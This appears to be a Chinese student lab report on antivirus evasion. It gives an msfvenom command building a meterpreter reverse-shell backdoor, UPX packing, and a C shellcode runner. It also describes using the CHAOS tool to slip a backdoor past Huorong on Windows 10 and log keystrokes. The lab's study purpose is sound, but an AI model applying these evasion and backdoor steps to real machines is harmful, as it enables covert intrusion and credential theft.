Exp3 免杀原理与实践

实验过程

正确使用msf编码器

这里我们使用实验二生成的两个后门exe文件做检测。

可以发现,由于实验2中是直接用shellcode代码生成的exe文件,没有做免杀处理,所以基于特征库的检测就能检测出来。

msfvenom生成如jar之类的其他文件

用命令生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

veil

操作步骤与msf类似,输入反弹连接ip与端口生成文件即可。

果不其然将后门文件移到共享文件夹时就被查杀了。

加壳工具

使用命令对后门加壳

upx backdoor.exe -o upxed.exe

一样是移入共享文件夹时被查杀。

使用C + shellcode编程

编写C代码

#include <windows.h>
#include <stdio.h>
 
//data段可读写
#pragma comment(linker, "/section:.data,RWE") 

 
 unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"
"\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"
"\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58"
"\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f"
"\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89"
"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
 
typedef void (__stdcall *CODE) ();
 
void RunShellCode_2()
{
	((void(*)(void))&shellcode)();
}
 

void main()
{
	RunShellCode();

}

在kali中编译

i686-w64-mingw32-g++ shellcode.c  -o shellcode.exe

最基础的shellcode利用方式还是达不到免杀的效果。

使用其他课堂未介绍方法

这里我用的是CHAOS,CHAOS是一款用go语言编写的非常简单实用的后门生成和监听工具。
后门的生成也与msf类似

可以看到我们的后门文件已经成功生成。

通过组合应用各种技术实现恶意代码免杀

  • 目标机OS:win10
  • AV:火绒5.0.41.4

这里我使用的是CHAOS生成的后门程序,根据CHAOS介绍,它生成的后门程序自动用UPX加壳,并且能过够绕过沙箱和杀软。

可以看到已经成功拿shell,而且火绒跟windows安全日志都没有拦截记录。

接下来我们试试控制主机完成一些操作。
控制主机打开百度

读取键盘输入的信息(如当键入用户名和密码时)

还有很多操作就不一一演示。

遇到的问题

1、apt 软件缺失,无法安装。

问题产生的原因应该是安装 kali 的时候没有安装网络镜像,导致除了 kali 镜像内的软件其他软件都不在 apt 列表中。在 kali 官网找到解决问题的办法。
运行命令给 kali 换上源,注意最好用以下官方源

echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list

如果用国内源(阿里、清华等),请确保使用的源与 kali 的版本相符。可以使用命令查询 kali 版本

lsb_release -a

注意选用源版本与红框内容一致,不然更新的时候会因为没有对应的 release 文件而报错。
换源完成后,运行命令即可正常更新下载文件。

apt update

2、veil 安装时 clone 依赖的问题

veil 的依赖的 github 仓库 clone 特别慢,以至于 clone 过程中因各种网络原因报错。挂上梯子也无法解决问题,那就只好换仓库了。
编辑 veil 的配置脚本 setup.sh ,以我的 kali 为例,这个脚本在如下目录中

找到脚本的 251 行

原来这里 clone 的是 github 上的仓库,码云上也有 veil 依赖对应的仓库,根据我的对比它们是一样的(如果你发现你脚本中 clone 的仓库与码云上的不一致,那么你可以先将 github 对应的仓库导入自己的码云,然后再 clone )。这里我已经完成了仓库的替换,码云仓库地址

https://gitee.com/spears/VeilDependencies

3、运行msf报错


这个应该是gem更新后,bunlder版本过低所致。
我们查看所需的bunlder版本。

cat /usr/share/metasploit-framework/Gemfile.lock | grep -A 1 "BUNDLED"

安装对应的版本。

gem update --system
gem install bundler -v 2.1.4

重新启动msf即可。

4、后门程序运行后无法反弹shell

测试发现虚拟机可以ping通主机,主机无法ping通虚拟机,原因是主机和虚拟机不再同一网段,将虚拟机的nat模式改为桥接即可。

问题回答

(1)杀软是如何检测出恶意代码的?
答:基于特征库检测,对文件代码与特征库进行对比,如果特征库有相似代码,及判为恶意代码。
(2)免杀是做什么?
答:免杀就是在不影响恶意代码循行的情况下对代码进行变换等操作,使其能够绕过基于特征库的检测。
(3)免杀的基本方法有哪些?
答:加壳,多次编码,对代码进行加密,对代码进行混淆。
开启杀软能绝对防止电脑中恶意代码吗?
答:我记得有句名言是“一个程序的漏洞比代码还要多”,所以杀软的特征库是有局限于当前的被发现被公开的漏洞及利用技术上,对于一些新型技术与漏洞就无法做出防御。

参考

C语言执行shellcode的五种方法

posted @ 2020-04-01 19:12  PwnKi  阅读(416)  评论(0编辑  收藏  举报